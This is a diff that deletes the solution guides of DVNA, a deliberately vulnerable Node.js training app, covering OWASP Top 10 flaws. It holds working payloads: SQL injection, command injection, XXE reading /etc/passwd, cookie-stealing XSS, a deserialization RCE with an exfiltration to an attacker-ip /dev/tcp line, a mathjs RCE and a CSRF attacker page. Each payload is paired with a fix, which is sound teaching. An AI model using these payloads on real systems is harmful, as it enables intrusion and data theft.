diff --git a/docs/solution/a1-injection.md b/docs/solution/a1-injection.md deleted file mode 100644 index eddded5f..00000000 --- a/docs/solution/a1-injection.md +++ /dev/null @@ -1,107 +0,0 @@ -# Injection - -## SQL Injection - -There is a SQL Injection in `User Search` feature at the following URL - -http://127.0.0.1:9090/app/usersearch - -By injecting a single quote `'`, we see an error has occurred. -![sqli1](/resources/sqli1.png "SQLi Trigger") - -An attacker can exploit this further and obtain potentially sensitive information from the database by supplying the input `' UNION SELECT password,1 from Users where login='user' -- //` -![sqli2](/resources/sqli2.png "Exploiting SQLi") - -**Vulnerable Code snippet** - -*core/appHandler.js* -``` -... -var query = "SELECT name FROM Users WHERE login='" + req.body.login + "'"; -db.sequelize.query(query,{ model: db.User }).then(user => { - if(user.length){ -... -``` -**Solution** - -You may use model's **find** function and rely on in-built input sanitization of sequelize - -*core/appHandler.js* -``` -... -if (vh.vCode(req.body.login)){ - db.User.find({where:{'login':req.body.login}}).then(user => { - if (user) { -... -``` - -But it is recommended to explicitly validate/sanitize inputs - -**Fixes** - -Implemented in the following files - -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/dc1f9c54685eb04f55e444370d6d622834e4cc00) - -**Recommendation** - -- Validate Input before processing -- Sanitize Input before storing - -## Command Injection - -There is a Command Injection in `Connectivity Test` feature at the following URL - -http://127.0.0.1:9090/app/ping - - -By injecting `x ; id`, we are able to see that the `id` command has been executed. -![ci1](/resources/ci1.png "Command injection") - -**Vulnerable Code snippet** - -*core/appHandler.js* -``` -const exec = require('child_process').exec; -... -exec('ping -c 2 '+ req.body.address, function(err,stdout,stderr){ - console.log(err) - output = stdout + stderr -... -``` -**Solution** - -You may use `exec_file` or `spawn` method under child_process which will prevent arbitrary command execution. - -*core/appHandler.js* -``` -const execFile = require('child_process').execFile; -... -if (vh.vIP(req.body.address)){ - execFile('ping', ['-c', '2', req.body.address] , function(err,stdout,stderr){ - output = stdout + stderr -... -``` - -**Fixes** - -Implemented in the following files - -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/4fe36fcfbd615fc9ea340e1238be33dd0d140ef8) - -**Recommendation** - -- Use exec_file or spawn method instead -- Always Validate/Sanitize Input before processing. Look at [validator](https://www.npmjs.com/package/validator) -- Run commands in a sandbox/ isolated environment if possible -- Use a restricted user for running the process - -**Reference** - -- -- -- \ No newline at end of file diff --git a/docs/solution/a10-insufficient-logging.md b/docs/solution/a10-insufficient-logging.md deleted file mode 100644 index b54301c0..00000000 --- a/docs/solution/a10-insufficient-logging.md +++ /dev/null @@ -1,62 +0,0 @@ -# Insufficient Logging and Monitoring - -Exploitation of insufficient logging and monitoring is the bedrock of nearly every major incident. - -- Auditable events, such as logins, failed logins, and high-value transactions are not logged. -- Warnings and errors generate no, inadequate, or unclear log messages. -- Logs of applications and APIs are not monitored for suspicious activity. -- Logs are only stored locally. -- Appropriate alerting thresholds and response escalation processes are not in place or effective. -- Penetration testing and scans by DAST tools (such as OWASP ZAP) do not trigger alerts. -- The application is unable to detect, escalate, or alert for active attacks in real time or near real time. - -**Solution** - -All critical functionalities of the application must be logged. We use winston, a logging library to handle our logging. - -Define a default logger - -*server.js* -```js -var winston = require('winston') -... -winston.configure({ - format: winston.format.json(), - transports: [ - new winston.transports.File({ filename: 'combined.log' }) - ] -}); -... -``` - -Log from anywhere - -*core/passport.js* -```js -var winston = requir('winston') -... -if (!isValidPassword(user, password)) { - winston.log({level:'warn',message:'Failed login attempt for ', username}) - return done(null, false, req.flash('danger', 'Invalid Credentials')) -} -... -``` - -**Fixes** - -Implemented in the following files - -- *server.js* -- *core/passport.js* -- *core/authHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/56c5e82c1a000e26ae19afb67b6696d634ceab2e) - -**Recommendation** - -- Log all sensitive operations by default -- Ensure that the logs are stored and processed securely - -**Reference** - -- \ No newline at end of file diff --git a/docs/solution/a2-broken-auth.md b/docs/solution/a2-broken-auth.md deleted file mode 100644 index e650fa0e..00000000 --- a/docs/solution/a2-broken-auth.md +++ /dev/null @@ -1,83 +0,0 @@ -# Broken Authentication - -## Insecure Reset Password - -The `Reset password` functionality can be triggered by visiting an URL such as below - -http://127.0.0.1:9090/resetpw?login=user&token=ee11cbb19052e40b07aac0ca060c23ee - -The trust establishment in reset password is inherently weak because the _login_ name and _token_ parameter required to execute the password reset is user supplied. Additionally the apparently random key is the MD5 hash of _login_ name which can be easily computed by an attacker. - -This issue can be exploited by an attacker to reset any user's password by using an URL such as below - -``` -http://127.0.0.1:9090/resetpw?login=&token= -``` - -You can obtain the md5sum for `user` by running the following - -```bash -echo -n 'user' | md5sum -``` - -**Solution** - -Store the password reset request along with a randomly generated token string and expiry - -Email a reset link containing that token and username to the user - -Validate the reset token for the user before password reset - -**Fixes** - -Implemented in the following files - -- *core/authHandler.js* -- *models/passreset.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/c8d519e41a752def46d80de699a94a23800df426) - -## Insecure Session Secret - -The session secret is used is insecure and is used in the example snippets across the web - -**Vulnerable Code snippet** - -*server.js* -``` -... -app.use(session({ - secret: 'keyboard cat', - resave: false, -... -``` - -This allows an attacker to -1. Decrypt a user's session -2. Potentially forge the session cookie and bypass authentication - -**Solution** - -Always use unique, long, secure random generated for secrets - -**Fixes** - -Implemented in the following files - -- *server.js* -- *config/server.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/1d01e9af620d88a938a2abdf97306fa20026b927) - -**Recommendation** - -- Do not copy paste code without understanding what it does -- Rotate session secrets -- Store secrets in environment variables or config files -- Consider using a secret management solution if your scale demands it - -**References** - -- -- -- \ No newline at end of file diff --git a/docs/solution/a3-sensitive-data-exposure.md b/docs/solution/a3-sensitive-data-exposure.md deleted file mode 100644 index 23dae204..00000000 --- a/docs/solution/a3-sensitive-data-exposure.md +++ /dev/null @@ -1,78 +0,0 @@ -# Sensitive Data Exposure - -## Hashed Passwords Disclosed - -![info-dis](/resources/info-dis.png "Password Hash Disclosed") - -The Admin API endpoint at http://127.0.0.1:9090/app/admin/api/users sends the entire user object to the front end. Even if the application/page rendering this may not display the password, it's critical that only necessary information is sent instead of the entire object - -**Vulnerable Code snippet** - -*core/apphandler.js* -``` -... -db.User.findAll({}).then(users => { - res.status(200).json({ - success: true, - users: users - }) -... -``` - - -**Solution** - -This particular error can be fixed by selecting for only the required attributes from the database - -``` -db.User.findAll({attributes: [ 'id' ,'name', 'email']},).then(users => { - res.status(200).json({ - success: true, - users: users - }) -``` - -**Fixes** - -Implemented in the following files - -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/7c28c2e007ac48badc604e52621c37bbb8da8fbd) - -## Logging of sensitive information - -![info-dis](/resources/info-dis2.png "Password Hash Disclosed") - -By default, Sequelize logs every query using `console.log`, this could be a serious issue if these logs are stored to disk or worse, sent elsewhere for analytics or other purposes - -**Solution** - -To fix this issue, disable logging in Sequelize - -``` -// Sequelize connection -var sequelize = new Sequelize(config.database, config.username, config.password, { - host: config.host, - dialect: config.dialect, - logging: false -}); -``` - -**Fixes** - -Implemented in the following files - -- *models/index.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/60ed581799f2257e1be2d8a7747014d6b3d123af) - -**Recommendation** - -- Always be wary of where all your data resides or is transmitted to -- Send only the minimum information which is essential, even if may not be used - -**Reference** - -- -- \ No newline at end of file diff --git a/docs/solution/a4-xxe.md b/docs/solution/a4-xxe.md deleted file mode 100644 index 94b70344..00000000 --- a/docs/solution/a4-xxe.md +++ /dev/null @@ -1,65 +0,0 @@ -# XML External Entities - -The `Bulk Import` feature at http://127.0.0.1:9090/app/bulkproducts is vulnerable to XML External Entity attack. - -![xxe1](/resources/xxe1.png) - -This can be easily exploited by supplying an input like the one below - -```xml - -]> - - - Playstation 4 - 274 - gaming console - &bar; - - -``` - -The resulting product's description will have the contents of `/etc/passwd` - -![xxe2](/resources/xxe2.png) - -**Vulnerable Code snippet** - -*core/appHandler.js* -``` -... -module.exports.bulkProducts = function(req, res) { - if (req.files.products && req.files.products.mimetype=='text/xml'){ - var products = libxmljs.parseXmlString(req.files.products.data.toString('utf8'), {noent:true,noblanks:true}) -... -``` - -**Solution** - -The XML parsing library used is `libxmljs` which allows for parsing external entities. We can disable parsing of external entities by modifying the flag value `noent` to `false`. - -*core/appHandler.js* -``` -... -module.exports.bulkProducts = function(req, res) { - if (req.files.products && req.files.products.mimetype=='text/xml'){ - var products = libxmljs.parseXmlString(req.files.products.data.toString('utf8'), {noent:false,noblanks:true}) -... -``` - -**Fixes** - -Implemented in the following file - -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/15f9dc298ff8e46f0dbeca6b260416c086db2446) - -**Recommendation** - -- Ensure that External entity parsing is disabled -- If parsing is absoutely required, then validate the data before parsing - -**Reference** - -- \ No newline at end of file diff --git a/docs/solution/a5-broken-access-control.md b/docs/solution/a5-broken-access-control.md deleted file mode 100644 index e6256ce7..00000000 --- a/docs/solution/a5-broken-access-control.md +++ /dev/null @@ -1,115 +0,0 @@ -# Broken Access Control - -## Unauthorized Access to Users API - -The issue lies in `List Users` API implementation where the code does not correctly establish identity and capability for the calling user before fulfilling the request. - -**Vulnerable Code snippet** - -*routes/app.js* -``` -... -router.get('/admin',authHandler.isAuthenticated,function(req,res){ - res.render('app/admin',{admin: (req.user.role=='admin')}) -}) - -router.get('/admin/api/users',authHandler.isAuthenticated, appHandler.listUsersAPI) -... -``` - -*views/app/admin.ejs* -``` -... -var isAdmin = false; -if(!isAdmin){ - var div = document.getElementById('admin-body'); - div.style.display = "none"; -}else{ - var div = document.getElementById('non-admin-body'); - div.style.display = "none"; -} -... -``` - -By checking the page source, we are able to see the `List Users API` that isn't visible in the Dashboard. - -![missing-fn-access](/resources/missing-fn-access.png "API Hidden in Front End") - -The API endpoint doesn't check whether the requesting user is an admin. Assuming that an attacker will not be able to access your endpoints because they are hidden is a very bad practice. - -**Solution** - -The `List Users API` route must check the requesting user's privilege before serving the request. - -``` -function adminCheck(req,res,next){ - if(req.user.role=='admin') - next() - else - res.status(401).send('Unauthorized') -} - -router.get('/admin/api/users',authHandler.isAuthenticated, adminCheck, appHandler.listUsersAPI) -``` - -**Fixes** - -Implemented in the following files - -- *core/authHandler.js* -- *routes/app.js* -- *views/app/admin.ejs* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/1d10d266567a6b721bd368500838756e1cd7966b) - -## Missing Authorization check in Edit User - -The `userEditSubmit` method fails to validate `id` parameter to ensure that the calling user has appropriate access to the object. This issue can be exploited to reset information for any user identified by id. - -http://127.0.0.1:9090/app/useredit - -**Vulnerable Code snippet** - -*core/apphandler.js* -``` -... -module.exports.userEditSubmit = function(req,res){ - if(req.body.password==req.body.cpassword){ - db.User.find({where:{'id':req.body.id}}).then(user=>{ - if(user){ - user.password = bCrypt.hashSync(req.body.password, bCrypt.genSaltSync(10), null) - user.save().then(function(){ -... -``` - -Simply changing the user id in the page can lead to exploitation.

-![idor1](/resources/idor1.png "IDOR") - -**Solution** - -A simple check can solve this issue -``` -if (req.user.id == req.body.id) - //do -else - //dont -``` - -In our case we can use passports user object at `req.user` for modifying user information - -**Fixes** - -Implemented in the following files - -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/edfe31c81e8594ac336b3fd3a558e174af9fe7b3) - -**Recommendation** - -- Try to restrict your functions to maximum extent, White listing is always better than blacklisting -- Consider any user supplied information as untrusted and always validate user access by sessions - -**Reference** - -- diff --git a/docs/solution/a6-securty-misconfig.md b/docs/solution/a6-securty-misconfig.md deleted file mode 100644 index d12d0d3d..00000000 --- a/docs/solution/a6-securty-misconfig.md +++ /dev/null @@ -1,65 +0,0 @@ -# Security Misconfiguration - -## Application sends Stack Trace - -![secmis1](/resources/secmis1.png "Security Misconfiguration") -An invalid input `XD` triggers a stack trace in the calculator endpoint at - -http://127.0.0.1:9090/app/calc - -The application was running in `DEVELOPMENT` mode and due to lack of error handling, it sent the stack trace with internal file locations and other potentially sensitive information. - -*/core/apphandler.js* -``` -... -if(req.body.eqn){ - req.flash('result',mathjs.eval(req.body.eqn)) - res.render('app/calc') -... -``` - -Additionally the issue occurs due to insecure NodeJS configuration that shows stack staces. - -**Solution** - -This particular issue can be solved by using a try catch exception handling -``` -try{ - result = mathjs.eval(req.body.eqn) -}catch (err){ - result = 'Invalid Equation' -} -``` - -But a bigger issue is the application running in development mode. Set **NODE_ENV** environment variable to `production`, this improves performance too! - -**Fixes** - -Implemented in the following files - -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/9b17e5ae55a6bf0ec8ba41c25956c26e6e62badd) - -## X-Powered-By header - -![powered-by](/resources/powered-by.png "X-Powered-By") - -The `X-Powered-By : Express` header is sent by default in every response and disabling this is a good way to prevent attackers from fingerprinting your application. - -**Solution** - -Disable it using `app.disable('x-powered-by')` in express - -**Fixes** - -Implemented in the following files - -- *server.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/e5810006cb91fb22bc6287f2dd67ba7c779d26fa) - -**Reference** -- -- -- \ No newline at end of file diff --git a/docs/solution/a7-xss.md b/docs/solution/a7-xss.md deleted file mode 100644 index 448374b2..00000000 --- a/docs/solution/a7-xss.md +++ /dev/null @@ -1,125 +0,0 @@ -# Cross-site Scripting - -![xss1](/resources/xss1.png "XSS") -with input *Inconspicuous Pizza<script>alert('Cookie:'+document.cookie)</script>* - -## Reflected XSS in Search Query - -**Note: Chrome XSS Auditor may block XSS Attacks** - -A Cross-site scripting vulnerability exists in the following URL - -http://127.0.0.1:9090/app/products - -**Vulnerable Code snippet** - -*/views/app/products.ejs* -``` -... -<% if (output&&output.searchTerm) { %> -

- Listing products with search query: - <%- output.searchTerm %> -... -``` - -User supplied input is directly rendered as part of HTML response. This issue can be exploited to inject arbitrary scripting code to perform a Cross-site Scripting attack. - -**Solution** - -Ensure user supplied or any other untrusted data is not rendered as part of HTTP response without appropriate encoding. EJS escape output tag can be used to render this securely with appropriate encoding such as below - -``` -<%= output.searchTerm %> -``` -Notice the `=` symbol instead of `-`, which escapes the output. Note that this only prevents xss when the target for escaped output is in a html context. - -**Fixes** - -Implemented in the following files - -- *server.js* -- *views/app/products.ejs* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/6acbb14b51df84d4c4986d95f8fa4e3a6d600e35) - -## Stored XSS in Product Listing - -Another XSS vulnerability exists in the same page, however at a different location. By supplying an input such as ``, we can verify the XSS - -**Vulnerable Code snippet** - -*/views/app/products.ejs* -``` -... -<%- output.products[i].id %> -<%- output.products[i].name %> -<%- output.products[i].code %> -<%- output.products[i].tags %> -... -``` - -**Solution** - -Enable output string encoding -``` -... -<%= output.products[i].id %> -<%= output.products[i].name %> -<%= output.products[i].code %> -<%= output.products[i].tags %> -... -``` -Notice the `=` symbol instead of `-`, which escapes the output. Note that this only prevents xss when the target for escaped output is in a html context. - -**Fixes** - -Implemented in the following files - -- *server.js* -- *views/app/products.ejs* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/6acbb14b51df84d4c4986d95f8fa4e3a6d600e35) - -## DOM XSS in user listing - -- When registering a user, use the value `` for "Name" -- When any logged in user visits `/app/admin/users`, an XHR GET request is made to `/app/admin/usersapi` to retrieve the details of users on the application. The details retrieved are used to update the page using `innerHTML` and the details are rendered directly thus making the page vulnerable to XSS - -**Vulnerable Code snippet** - -*views/app/adminusers.ejs* - -``` -... -c_id.innerHTML = users[i].id; -c_name.innerHTML = users[i].name; -c_email.innerHTML = users[i].email; -... -``` - -User supplied input is injected into the page as markup using `innerHTML`. This issue can be exploited to inject arbitrary scripting code to perform a Cross-site Scripting attack. - -**Solution** - -``` -... -c_id.textContent = users[i].id; -c_name.textContent = users[i].name; -c_email.textContent = users[i].email; -... -``` -The most fundamental safe way to populate the DOM with untrusted data is to use the safe assignment property, `textContent`. - -**Recommendation** - -- Use Security header `X-XSS-Protection` to prevent reflected XSS attacks -- Limit raw rendering to internal trusted data only. Do not disable output encoding for untrusted data coming from external sources -- Always validate user input and escape them wherever necessary -- Use cookies securely `httpOnly`, `secure` are enabled in `express-cookies`. Refer to [this](https://expressjs.com/en/advanced/best-practice-security.html) -- Use a Content Security policy for your application using a library like [helmet](https://www.npmjs.com/package/helmet) - -**Reference** - -- -- diff --git a/docs/solution/a8-insecure-deserialization.md b/docs/solution/a8-insecure-deserialization.md deleted file mode 100644 index 4007c99f..00000000 --- a/docs/solution/a8-insecure-deserialization.md +++ /dev/null @@ -1,69 +0,0 @@ -# Insecure Deserialization - -The `Legacy Bulk Import` feature at http://127.0.0.1:9090/app/bulkproducts?legacy=true does not securely deserialize the data thus allowing remote code execution. - -![jse1](/resources/jse1.png) - -To execute code we need to provide a serialized object to the server. The object (as shown below) in this case would be a function that uses the `child_process` library to invoke `bash -c -- \"cat /etc/passwd > /dev/tcp/attacker-ip/nc-port\"`. The function is made into an [Immediately Invoked function Expression (IIFE)](https://en.wikipedia.org/wiki/Immediately-invoked_function_expression) by adding `()` to the end of the function - -The following input will trigger the vulnerability - -``` -{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('id;cat /etc/passwd', function(error, stdout, stderr) { console.log(stdout) });}()"} -``` - -which is the serialized version of - -``` -var y = { - rce : function(){ - require('child_process').exec('id;cat /etc/passwd', function(error, stdout, stderr) { console.log(stdout) }); - }(), -} -``` - -![jse2](/resources/jse2.png) - -**Vulnerable Code snippet** - -*core/appHandler.js* -``` -... -module.exports.bulkProductsLegacy = function (req,res){ - // TODO: Deprecate this soon - if(req.files.products){ - var products = serialize.unserialize(req.files.products.data.toString('utf8')) -... -``` - -**Solution** - -Since the required feature is to essentially parse a JSON, it can be parsed securely using `JSON.parse` instead. - -*core/appHandler.js* -``` -... -module.exports.bulkProductsLegacy = function (req,res){ - // TODO: Deprecate this soon - if(req.files.products){ - var products = JSON.parse(req.files.products.data.toString('utf8')) -... -``` - -**Fixes** - -Implemented in the following files - -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/624a4ee88b3af804271d183f2921448851ddbfff) - -**Recommendation** - -- Use secure and recommended ways to implement application features -- Ensure that potentially vulnerable legacy features are't accessible - -**Reference** - -- -- \ No newline at end of file diff --git a/docs/solution/a9-using-components-with-known-vulnerability.md b/docs/solution/a9-using-components-with-known-vulnerability.md deleted file mode 100644 index df39dc55..00000000 --- a/docs/solution/a9-using-components-with-known-vulnerability.md +++ /dev/null @@ -1,52 +0,0 @@ -# Using Components with Known Vulnerabilities - -## mathjs Remote Code Execution - -The version of mathjs(https://www.npmjs.com/package/mathjs) library used in the application has a remote code execution vulnerability that allows an attacker to run arbitrary code on the server. - -To understand how the exploit works, look at [this](https://capacitorset.github.io/mathjs/) - -The calculator implementation uses `mathjs.eval` to evaluate user input at - -http://127.0.0.1:9090/app/calc - -There is no input validation either, probably because it is going to be a maths equation which will contain symbols - -Malicious input that triggers command execution -``` -cos.constructor("spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c -- diff --git a/docs/solution/ax-csrf.md b/docs/solution/ax-csrf.md deleted file mode 100644 index 75c5a9d3..00000000 --- a/docs/solution/ax-csrf.md +++ /dev/null @@ -1,47 +0,0 @@ -# Cross-site Request Forgery - -## CSRF in Add/Edit product, User Edit - -The application is vulnerable to a Cross-sites-Request-Forgery in `Product Management` feature. The application fails to implement anti-CSRF token to prevent forced browsing. - -http://127.0.0.1:9090/app/modifyproduct - -http://127.0.0.1:9090/app/useredit - -This issue can be exploited by an attacker by hosting a malicious page like the one below and tricking the victim onto visiting it. The below example will add a new product on behalf of the victim on visiting a crafted URL like `http://youtube.com.xyz.nxd/watch/v=cute-kitten` by the attacker - -*Attacker's Webpage* -```html - - -

- - - - -
- - -``` - -**Solution** - -CSRF vulnerabilities can be fixed by ensuring anti-CSRF tokens are needed for successful form submission. - -This can be done by using a module like [csurf](https://www.npmjs.com/package/csurf), and can save time needed to correctly implement your own logic. - -**Fixes** - -Implemented in the following files - -- *routes/app.js* -- *core/appHandler.js* -- *views/app/modifyproducts.ejs* -- *views/app/useredit.ejs* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/2c88ab87f19a9d124c925d33f346ec3897038eea) - -**Reference** - -- https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) -- https://github.com/expressjs/csurf \ No newline at end of file diff --git a/docs/solution/ax-unvalidated-redirects-and-forwards.md b/docs/solution/ax-unvalidated-redirects-and-forwards.md deleted file mode 100644 index 56f8625e..00000000 --- a/docs/solution/ax-unvalidated-redirects-and-forwards.md +++ /dev/null @@ -1,42 +0,0 @@ -# Unvalidated Redirects and Forwards - -The application fails to perform any validation before redirecting user to external URL based on untrusted user supplied data in the `redirect` function accessible at - -http://127.0.0.1:9090/app/redirect?url= - -**Vulnerable Code snippet** - -*/core/apphandler.js* -``` -... -module.exports.redirect = function(req,res){ - if(req.query.url){ - res.redirect(req.query.url) - }else{ - res.send('invalid redirect url') - } -} -... -``` - -An attacker can exploit this vulnerability using an URL such as below: - -``` -http://127.0.0.1:9090/redirect.action?url=http://www.attacker.nxd/phising_page -``` - -**Solution** - -Use an interceptor page which requires user approval before external redirection - -**Fixes** - -Implemented in the following files - -- *views/app/redirect.ejs* -- *core/appHandler.js* - -The fix has been implemented in this [commit](https://github.com/appsecco/dvna/commit/0df0980a19778e0cf627cd09b365e3e84023cf75) - -**Reference** -- https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet \ No newline at end of file